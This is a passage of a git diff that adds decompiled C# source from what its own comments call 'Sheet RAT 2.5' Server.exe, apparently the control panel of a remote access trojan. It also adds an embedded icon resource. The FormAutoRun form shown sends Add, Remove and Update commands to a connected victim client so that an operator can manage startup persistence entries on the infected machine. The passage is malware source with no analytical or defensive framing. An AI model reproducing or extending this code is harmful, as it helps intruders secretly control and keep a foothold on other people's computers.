ERQImXMIlXLmcQCk7aGKshEu40RcJ6CVGSLiEG8X5Bja/IvR8OWYLEwYJl3AJN6I49/8BU9E70gwNkzMAAAAASUVORK5CYIIL + + \ No newline at end of file diff --git a/Server/Server/Forms/FormAutoRun.cs b/Server/Server/Forms/FormAutoRun.cs new file mode 100644 index 0000000..e18b8d1 --- /dev/null +++ b/Server/Server/Forms/FormAutoRun.cs @@ -0,0 +1,233 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormAutoRun +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormAutoRun : MetroForm +{ + public Clients client; + public Clients Plugin; + private IContainer components; + public MetroGrid metroGrid1; + private MetroContextMenu metroContextMenu1; + private ToolStripMenuItem killToolStripMenuItem; + public Timer timer1; + private ToolStripMenuItem resfreshToolStripMenuItem; + private ToolStripMenuItem addToolStripMenuItem; + + public FormAutoRun() => this.InitializeComponent(); + + private void FormTaskMgr_Load(object sender, EventArgs e) + { + DataGridViewColumnCollection columns1 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn1.HeaderText = "AutoRun"; + viewTextBoxColumn1.MinimumWidth = 150; + columns1.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns2 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn2.HeaderText = "Name"; + viewTextBoxColumn2.MinimumWidth = 300; + columns2.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns3 = this.metroGrid1.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn3.HeaderText = "Path"; + viewTextBoxColumn3.MinimumWidth = 300; + columns3.Add((DataGridViewColumn) viewTextBoxColumn3); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime) + { + this.Theme = Customs.customs.Theme; + this.Style = Customs.customs.Style; + this.metroGrid1.Style = Customs.customs.Style; + this.metroGrid1.Theme = Customs.customs.Theme; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + Program.form.SetThemeContextMenu(Customs.customs.Theme, (ContextMenuStrip) this.metroContextMenu1); + this.Refresh(); + } + this.metroGrid1.DefaultCellStyle = new DataGridViewCellStyle() + { + Alignment = DataGridViewContentAlignment.MiddleLeft, + ForeColor = Customs.customs.StyleToColor(), + Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel), + BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White, + SelectionBackColor = Customs.customs.StyleToColor(), + WrapMode = DataGridViewTriState.False + }; + this.metroGrid1.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGrid1.RowTemplate.MinimumHeight = 30; + } + + private void killToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGrid1.SelectedRows) + this.Plugin.Send((object) $"Remove<@>{(string) selectedRow.Cells[1].Value}<@>{(string) selectedRow.Cells[0].Value}"); + } + + private void resfreshToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + this.Plugin.Send((object) "Update"); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect && this.Plugin.Connect) + return; + this.Close(); + } + + private void addToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + int num = (int) new FormAddAutoRun() + { + clietns = this.Plugin + }.ShowDialog(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + DataGridViewCellStyle gridViewCellStyle1 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle2 = new DataGridViewCellStyle(); + DataGridViewCellStyle gridViewCellStyle3 = new DataGridViewCellStyle(); + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormAutoRun)); + this.metroGrid1 = new MetroGrid(); + this.metroContextMenu1 = new MetroContextMenu(this.components); + this.killToolStripMenuItem = new ToolStripMenuItem(); + this.addToolStripMenuItem = new ToolStripMenuItem(); + this.resfreshToolStripMenuItem = new ToolStripMenuItem(); + this.timer1 = new Timer(this.components); + ((ISupportInitialize) this.metroGrid1).BeginInit(); + this.metroContextMenu1.SuspendLayout(); + this.SuspendLayout(); + this.metroGrid1.AllowUserToAddRows = false; + this.metroGrid1.AllowUserToDeleteRows = false; + this.metroGrid1.AllowUserToResizeRows = false; + this.metroGrid1.Anchor = AnchorStyles.Top | AnchorStyles.Bottom | AnchorStyles.Left | AnchorStyles.Right; + this.metroGrid1.BackgroundColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.metroGrid1.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.metroGrid1.ClipboardCopyMode = DataGridViewClipboardCopyMode.Disable; + this.metroGrid1.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle1.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle1.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle1.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle1.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle1.WrapMode = DataGridViewTriState.True; + this.metroGrid1.ColumnHeadersDefaultCellStyle = gridViewCellStyle1; + this.metroGrid1.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.metroGrid1.ContextMenuStrip = (ContextMenuStrip) this.metroContextMenu1; + gridViewCellStyle2.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle2.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle2.ForeColor = Color.FromArgb(109, 109, 109); + gridViewCellStyle2.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle2.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle2.WrapMode = DataGridViewTriState.False; + this.metroGrid1.DefaultCellStyle = gridViewCellStyle2; + this.metroGrid1.EnableHeadersVisualStyles = false; + this.metroGrid1.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + this.metroGrid1.GridColor = Color.FromArgb(17, 17, 17); + this.metroGrid1.Location = new Point(23, 63 /*0x3F*/); + this.metroGrid1.Name = "metroGrid1"; + this.metroGrid1.ReadOnly = true; + this.metroGrid1.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle3.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle3.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle3.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle3.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.SelectionBackColor = Color.FromArgb(165, 219, 0); + gridViewCellStyle3.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle3.WrapMode = DataGridViewTriState.True; + this.metroGrid1.RowHeadersDefaultCellStyle = gridViewCellStyle3; + this.metroGrid1.RowHeadersVisible = false; + this.metroGrid1.RowHeadersWidthSizeMode = DataGridViewRowHeadersWidthSizeMode.DisableResizing; + this.metroGrid1.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.metroGrid1.Size = new Size(838, 484); + this.metroGrid1.Style = MetroColorStyle.Lime; + this.metroGrid1.TabIndex = 13; + this.metroGrid1.Theme = MetroThemeStyle.Dark; + this.metroContextMenu1.Items.AddRange(new ToolStripItem[3] + { + (ToolStripItem) this.killToolStripMenuItem, + (ToolStripItem) this.addToolStripMenuItem, + (ToolStripItem) this.resfreshToolStripMenuItem + }); + this.metroContextMenu1.Name = "metroContextMenu1"; + this.metroContextMenu1.Size = new Size(181, 92); + this.killToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.killToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.killToolStripMenuItem.Name = "killToolStripMenuItem"; + this.killToolStripMenuItem.Size = new Size(180, 22); + this.killToolStripMenuItem.Text = "Remove"; + this.killToolStripMenuItem.Click += new EventHandler(this.killToolStripMenuItem_Click); + this.addToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.addToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.addToolStripMenuItem.Name = "addToolStripMenuItem"; + this.addToolStripMenuItem.Size = new Size(180, 22); + this.addToolStripMenuItem.Text = "Add"; + this.addToolStripMenuItem.Click += new EventHandler(this.addToolStripMenuItem_Click); + this.resfreshToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.resfreshToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.resfreshToolStripMenuItem.Name = "resfreshToolStripMenuItem"; + this.resfreshToolStripMenuItem.Size = new Size(180, 22); + this.resfreshToolStripMenuItem.Text = "Resfresh"; + this.resfreshToolStripMenuItem.Click += new EventHandler(this.resfreshToolStripMenuItem_Click); + this.timer1.Interval = 1000; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(884, 570); + this.Controls.Add((Control) this.metroGrid1); + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Name = nameof (FormAutoRun); + this.Style = MetroColorStyle.Lime; + this.Text = "AutoRun"; + this.TextAlign = MetroFormTextAlign.Center; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormTaskMgr_Load); + ((ISupportInitialize) this.metroGrid1).EndInit(); + this.metroContextMenu1.ResumeLayout(false); + this.ResumeLayout(false); + } +} +} diff --git a/Server/Server/Forms/FormAutoRun.resx b/Server/Server/Forms/FormAutoRun.resx new file mode 100644 index 0000000..a567bcf --- /dev/null +++ b/Server/Server/Forms/FormAutoRun.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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